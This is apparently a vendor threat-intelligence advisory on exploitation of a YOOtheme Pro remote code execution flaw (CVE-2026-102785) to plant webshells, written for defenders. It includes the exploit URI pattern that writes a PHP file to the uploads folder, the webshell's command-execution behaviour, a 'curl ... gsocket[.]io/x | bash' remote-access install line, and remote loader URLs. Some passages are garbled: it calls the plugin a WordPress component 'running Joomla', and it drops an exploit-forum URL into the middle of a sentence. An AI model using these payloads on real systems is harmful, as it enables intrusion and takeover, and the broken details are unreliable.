2026-10-26 (Monday): YOOtheme Pro CVE-2026-102785 Exploited to Deploy Webshells

AUTHORS:

- Urvesh Thakkarm, Muhammet Algan

REFERENCES:

- https://www.linkedin.com/posts/we-observed-in-the-wild-exploitation-of-cve-ugcPost-7520592857615912960-bfno/
- https://x.com/Unit42_Intel/status/2114827172338717140

NOTES:

- Unit 42 has observed in-the-wild exploitation of CVE-2026-102785
  -- This is an unauthenticated remote code execution vulnerability
  -- It applies to the YOOtheme Pro image handler for WordPress running Joomla
  -- Affected versions are YOOtheme Pro 5.0.0 to 5.0.52
  -- The vulnerability was addressed in YOOtheme Pro 5.0.53, released Friday, 2026-10-21
  -- CVE-2026-102785 was published on Thursday, 2026-10-22
  -- Proof-of-concept exploits were available as early as Friday, 2026-10-23
- The exploitation we have observed was automated
- The first webshell was written two days after the patch was released
- An automated scanner wrote JPEG/PHP polyglot webshells to the WordPress uploads folder
  -- Each on hxxps[:]//forum.ksec[.]co[.]uk/t/exploit-for-cve-2026-102785/29826 was validated within seconds
  -- For example:
     --- Webshell written at 10:58:30 UTC
     --- cmd.exe /s /c "echo YTS134d<redacted>" at 10:58:32 UTC
     --- cmd.exe /s /c "id" at 10:58:33 UTC
  -- The same sequence was repeated for every drop
  -- About two minutes later, an interactive operator uploaded an ALFA Team webshell
     --- The operator used different IP addresses and varied commands for the upload

DETAILS:

- The attacker reuses a signed image URL already published on the target site
  -- The attacker then appends extra image operations: 
     --- FromFile=php://input loads the request body
     --- Save=wp-content/uploads/<name>.php,jpeg,90 writes it as a PHP file
- Exploit URI pattern: 
  /index.php?yootheme=cache/<xx>/<name>-<hash>.png&src=<existing image>&...
  &hash=<8 hex>&FromFile=php://input&Save=wp-content/uploads/<name>.php,jpeg,90
- The server returns HTTP 500, but the file is written
- The webshell is a valid JPEG file with PHP code in the APP13 metadata segment
  -- This APP13 metadata segment allows the webshell to survive image re-encoding
- Webshell file names follow the pattern yt[0-9a-f]{7}.php in wp-content/uploads/
- The first-stage webshell requires no authentication
  -- It runs commands passed in ?c= through shell_exec
  -- It then provides a file-upload form at ?c=up
  -- It then echoes the string WPCONFIG on every request
  -- On a Windows host, each command runs under the web server as cmd.exe /s /c "<command>"
- The scanner validates each drop within about 3 seconds by
  -- running echo YTS[0-9a-f]{16} followed by id
  -- It uses with a new random marker for every drop
  -- Observed examples: 
     -- cmd.exe /s /c "echo YTS134df028961dd492" 
     -- cmd.exe /s /c "id" -- cmd.exe /s /c "echo YTS585b310b4936cd0a" 
     -- cmd.exe /s /c "id" -- cmd.exe /s /c "echo YTS17f1e27e361f959b" 
     -- cmd.exe /s /c "id"
- The operator ran Linux reconnaissance commands (id, uname, ls) even though the target was a Windows server
  -- This indicates generic tooling aimed at Linux WordPress hosts
- The operator attempted to install the gsocket remote access tool using:
  curl -Lso- gsocket[.]io/x | bash
- It then attempted to download a second-stage file from GitHub
- The operator then uploaded an ALFA Team webshell through the ?c=up form
  -- This was moved into wp-content/uploads/ from a PHP upload temp file:
     C:\Windows\Temp\php<hex>.tmp
- An ALFA Team webshell CGI helper kit was then written to:
  wp-content/uploads/ALFA_DATA/alfacgiapi/
  under the following names:
  -- .htaccess
  -- perl.alfa
  -- py.alfa
  -- bash.alfa
  -- aspx.aspx
- The ALFA Team webshell write was followed by these commands:
  -- cmd.exe /s /c "ver" 
  -- cmd.exe /s /c "uname -a" 
  -- cmd.exe /s /c "whoami" 
  -- cmd.exe /s /c "[ "-d" "crossdomain.xml" ] && echo "yes" || echo "no""
     --- This is a directory check for the ALFA file-manager
  -- cmd.exe /s /c "stat -c "%U:%G" "<webroot>/crossdomain.xml""
     --- This is an ownership check for the ALFA file-manager
- Operator traffic was routed through residential proxy exit nodes on Indonesian mobile carrier networks

INDICATORS:

IP address for exploitation and automated validation:

- 168.144.251[.]199

URL for remote PHP loader (fetches and evaluates us.php):

- hxxps[:]//raw.githubusercontent[.]com/kize7/zero/refs/heads/main/bin.php

URL for second-stage PHP payload loaded by the above bin.php:

- hxxps[:]//raw.githubusercontent[.]com/kize7/zero/refs/heads/main/us.php

SHA-256 hashes for ALFA webshell CGI kit files written to wp-content/uploads/ALFA_DATA/alfacgiapi/:

- 1bbacae70b0e11e051783879bb63f667b4ee88b6b5676eabc7b09ea9afbc113c (bash.alfa)
- 6c0643d21f74c6d7eb3a441eb167ab7c544c191dcaab6bb1f09d43cd0d8a15e1 (aspx.aspx)
- a2b2d11669115dab24ee1f82295fce67f1f93e316efe11a2c95018491e5cc484 (py.alfa)
- f82fd317860454606003aa9dc7efde284d851424730e229f19c50d60206311b8 (perl.alfa)

Other indicators:

- Webshell file name pattern: wp-content/uploads/yt[0-9a-f]{7}.php
- Scanner validation command: echo YTS[0-9a-f]{16}
- Webshell response marker: WPCONFIG

ADDITIONAL RESOURCES:

- https://nvd.nist.gov/vuln/detail/cve-2026-102785
- https://yootheme.com/changelog
- https://yootheme.com/support/question/175870
- https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-108161
- https://www.tenable.com/cve/CVE-2026-102785